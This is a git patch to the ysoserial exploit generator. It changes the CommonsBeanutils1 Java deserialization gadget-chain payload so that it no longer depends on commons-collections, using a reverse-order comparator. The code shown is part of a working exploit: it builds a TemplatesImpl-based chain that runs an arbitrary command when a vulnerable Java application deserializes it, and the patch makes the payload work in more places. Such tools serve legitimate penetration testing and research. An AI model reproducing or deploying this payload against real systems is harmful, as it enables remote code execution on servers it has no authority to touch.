From 23f2d068edb50e9e4d612a007fc80e019c9acbd6 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 9 Sep 2021 12:42:11 -0400 Subject: [PATCH] Remove a dependency for CommonsBeanutils1 --- src/main/java/ysoserial/payloads/CommonsBeanutils1.java | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutils1.java b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java index 2495be77..4314cdff 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutils1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java @@ -1,6 +1,7 @@ package ysoserial.payloads; import java.math.BigInteger; +import java.util.Collections; import java.util.PriorityQueue; import org.apache.commons.beanutils.BeanComparator; @@ -12,14 +13,14 @@ import ysoserial.payloads.util.Reflections; @SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"}) @Authors({ Authors.FROHOFF }) public class CommonsBeanutils1 implements ObjectPayload { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed - final BeanComparator comparator = new BeanComparator("lowestSetBit"); + final BeanComparator comparator = new BeanComparator("lowestSetBit", Collections.reverseOrder()); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator);